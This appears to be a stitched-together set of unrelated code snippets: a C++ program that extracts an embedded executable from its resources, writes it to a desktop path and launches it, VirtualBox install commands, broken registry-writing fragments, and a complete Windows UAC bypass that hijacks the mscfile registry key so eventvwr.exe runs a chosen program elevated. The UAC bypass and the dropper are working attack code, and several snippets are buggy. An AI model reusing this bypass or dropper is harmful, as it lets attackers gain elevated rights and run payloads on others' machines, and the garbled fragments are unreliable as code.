#include <windows.h>
#include "resource.h"

ELEXE RCDATA "Example1.exe"

#ifndef RESOURCE_H_INCLUDED
#define RESOURCE_H_INCLUDED

#define ELEXE ""

#endif // RESOURCE_H_INCLUDED

#include <iostream>
#include <windows.h>
#include "resource.h"

using namespace std;

int main()
{

    string exe = "ELEXE";
    HRSRC res=FindResource(NULL,exe.c_str(),RT_RCDATA);

    if(res==NULL)
         cout << GetLastError();
         cout << "\n";

    int size=SizeofResource(NULL,res);

    if( !size )
        cout << 122; // Arbitrario. -> ERROR_INSUFFICIENT_BUFFER
        cout << "\n";

    HGLOBAL hRes=LoadResource(NULL,res);

    if( !hRes )
        cout << 122; // Arbitrario. -> ERROR_INSUFFICIENT_BUFFER
        cout << "\n";

    unsigned char *pRes=(unsigned char *)LockResource(hRes);


    HANDLE hFile=CreateFile("C:/Users/android/Desktop/pi.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);

    if(hFile==INVALID_HANDLE_VALUE)
         cout << GetLastError();
         cout << "\n";

    DWORD bytesWritten = size;

    WriteFile(hFile,pRes,size,&bytesWritten,NULL);

    if( !WriteFile(hFile,pRes,size,&bytesWritten,NULL) )
        cout << GetLastError();
        cout << "\n";

    CloseHandle(hFile);


    ShellExecute(HWND_DESKTOP,NULL,"C:/Users/android/Desktop/pi.exe",NULL,NULL,SW_SHOWNORMAL);
    system("pause");
    return 0;
}

1º  echo "deb http://download.virtualbox.org/virtualbox/debian vivid contrib" >> /etc/apt/sources.list.d/virtualbox.list

2º  wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | sudo apt-key add -

3º  apt-get update

4º  apt-get install virtualbox-5.0

string subclave="Hello";
string valor="Anyone";
LPCTSTR _subclave = TEXT("");
LPCTSTR _valor = TEXT("");
long crear = RegSetValueEx(key, _subclave, 0, REG_SZ, (LPBYTE) _valor, strlen(_valor) * sizeof(char));

string hola="hola";
std::wstring stemp = std::wstring(hola.begin(), hola.end());
LPCWSTR subclave = stemp.c_str();
const char * valor = "hola";
long crear = RegSetValueEx(key, subclave, 0, REG_SZ, (LPBYTE) valor,     strlen(valor) * sizeof(char));

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 
/*
 * Pretty standard code to recursively nuke a Reg Key
 */
 
int RegDelnodeRecurse (LPTSTR lpSubKey) {
    LPTSTR lpEnd;
    LONG lResult;
    DWORD dwSize = MAX_PATH;
    TCHAR szName[MAX_PATH];
    HKEY hKey;
    FILETIME ftWrite;
 
    lResult = RegDeleteKey(HKEY_CURRENT_USER, lpSubKey);
 
    if (lResult == ERROR_SUCCESS) return 1;
 
    lResult = RegOpenKeyEx(HKEY_CURRENT_USER, lpSubKey, 0, KEY_READ, &hKey);
 
    if (lResult != ERROR_SUCCESS) return lResult == ERROR_FILE_NOT_FOUND;
 
    lpEnd    = lpSubKey + lstrlen(lpSubKey);
    *lpEnd++ = '\\';
    *lpEnd   = '\0';
 
    if (RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite) == ERROR_SUCCESS) {
        do {
            strcpy(lpEnd, szName);
            if (!RegDelnodeRecurse(lpSubKey)) break;
            lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite);
        } while (lResult == ERROR_SUCCESS);
    }
 
    lpEnd--;
    *lpEnd = TEXT('\0');
 
    RegCloseKey(hKey);
 
    return RegDeleteKey(HKEY_CURRENT_USER, lpSubKey) == ERROR_SUCCESS;
}
 
/*
 * Wrapper for above
 */
 
int RegDelnode() {
    TCHAR szDelKey[MAX_PATH*2] = "Software\\Classes\\mscfile";
    return RegDelnodeRecurse(szDelKey);
}
 
void __c_UAC() {
    char curPath[MAX_PATH], evtVwr[MAX_PATH];
    HKEY attackKey;
    SHELLEXECUTEINFO exInfo;
 
    GetCurrentDirectory(MAX_PATH, curPath);
    strcat(curPath, "\\foobar.exe");
 
 
    sprintf(evtVwr, "%s\\System32\\eventvwr.exe", getenv("SYSTEMROOT"));
 
    if(!RegDelnode()) return;
    if(RegCreateKey(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\shell\\open\\command", &attackKey)!=ERROR_SUCCESS) return;
 
    RegSetValueEx(attackKey, "", 0, REG_SZ, curPath, strlen(curPath));
 
    exInfo.lpVerb       = "open";
    exInfo.lpFile       = evtVwr;
    exInfo.nShow        = 0;
    exInfo.fMask        = SEE_MASK_NOCLOSEPROCESS;
    exInfo.cbSize       = sizeof(SHELLEXECUTEINFO);
    exInfo.hwnd         = 0;
    exInfo.lpParameters = 0;
    exInfo.lpDirectory  = 0;
    exInfo.hInstApp     = 0;
 
    ShellExecuteEx(&exInfo);
 
    Sleep(5000);
 
    TerminateProcess(exInfo.hProcess, 0);
 
    RegCloseKey(attackKey);
    RegDelnode();
}
 
int main(int argc, char *argv[]) {
    __c_UAC();
    return 0;
}